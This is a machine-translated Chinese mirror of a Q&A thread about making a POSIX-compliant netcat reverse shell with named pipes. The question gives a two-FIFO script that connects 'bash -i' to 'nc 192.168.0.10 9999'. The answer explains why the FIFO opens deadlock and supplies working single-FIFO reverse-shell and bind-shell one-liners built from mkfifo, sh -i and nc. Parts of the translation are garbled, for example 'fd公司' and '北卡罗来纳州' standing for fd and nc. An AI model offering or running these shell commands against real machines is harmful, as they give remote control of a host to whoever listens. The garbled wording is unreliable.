代码之家  ›  专栏  ›  技术社区  ›  Tiago Pimenta

如何将命令输入/输出重定向到nc双向?

  •  0
  • Tiago Pimenta  · 技术社区  · 6 年前

    我想做点什么 this 在POSIX合规性方面,使用 nc ,遵循给出的第二个示例 here ,它必须在上运行 sh (可在上进行测试 dash 或busybox' ash ,但未打开 bash ).

    我已经做了以下工作:

    # on operator machine
    nc -lvp 9999
    
    # on remote machine
    out="/tmp/.$$.out"
    in="/tmp/.$$.in"
    mkfifo "$out" "$in"
    trap 'rm "$out" "$in"' EXIT
    # nc 192.168.0.10 9999 > "$out" 0< "$in" &
    cat "$in" | nc 192.168.0.10 9999 | cat > "$out" &
    bash -i > "$in" 2>&1 0< "$out"
    

    我有两个问题,请两个都回答:

    1. 正如你所看到的,我已经试过了 nc 192.168.0.10 9999 > "$out" 0< "$in" 但我不知道为什么它不能用于文件重定向,命令冻结,进程甚至没有启动,我尝试过仅在输入和输出上使用管道,但两种方法都不起作用。这样做的缺点 cat 解决方案是,当您在连接到操作员机器上后退出命令时,它仍会使远程机器上的进程保持活动状态,需要终止。我想知道为什么重定向解决方案不起作用?如何解决退出问题?即使 解决方案并不是最优雅的,如果它能成功,它是可以接受的。

    2. 有没有办法使用 fd公司 而不是 mkfifo ? 例如,使用 exec 3> dummy ? 请记住,必须符合POSIX法规 >(:) 不可接受。

    如果 fd公司 解决方案是可能的,不需要 mkfifo 解决方案可行,但我仍然很高兴知道为什么文件重定向不起作用。

    1 回复  |  直到 6 年前
        1
  •  0
  •   Anya Shenanigans    6 年前

    你想做一个反弹壳?从逻辑上我看不太清楚。

    关于fifo的几件事-打开fifo块直到 二者都 侧面是打开的,即如果你打开阅读,你将被阻止,直到有人打开它进行写作,反之亦然。

    它不适用于重定向的原因是,在启动之前,在shell中打开重定向 nc 因此,在进程打开同一fifo的写入端之前,它将无法打开同一fifo的读取端。在这种情况下,你有一个致命的拦截拥抱:

    北卡罗来纳州 被阻止打开 "$out" 因为还没有人打开它阅读。

    bash 被阻止打开 "$in" 因为还没有人打开它写作。

    您可以尝试重新排列文件描述符的打开顺序:

    nc 127.0.0.1 9999 2>&1 > "$out" 0< "$in" &
    bash -i 0< "$out" >"$in" 2>&1
    

    i、 e.我们确保 in out 命令按相同的顺序执行,这将解决fifo打开问题。

    您不需要使用两个FIFO来完成此操作,您可以使用一个FIFO来完成此操作:

    ncfifo=/tmp/.$$.nc
    mkfifo $ncfifo
    cat $ncfifo | bash -i 2>&1 | nc 127.0.0.1 9999 >$ncfifo
    

    对于(2);我不知道——这不是我自己想要完成的事情。使用fifo的原因是它允许您将管道的两侧连接在一起。没有先进先出,我看不到任何实现这一点的方法,尽管我愿意接受纠正。

    这个 北卡罗来纳州 debian手册页包含以下示例,用于“相反”的解释:

    rm -f /tmp/f; mkfifo /tmp/f
    cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
    

    这就是我过去常做的一个更简单的猫回答;尽管省略主要的cat似乎也能起到同样的作用:

    rm -f /tmp/f; mkfifo /tmp/f
    /bin/sh -i </tmp/f 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f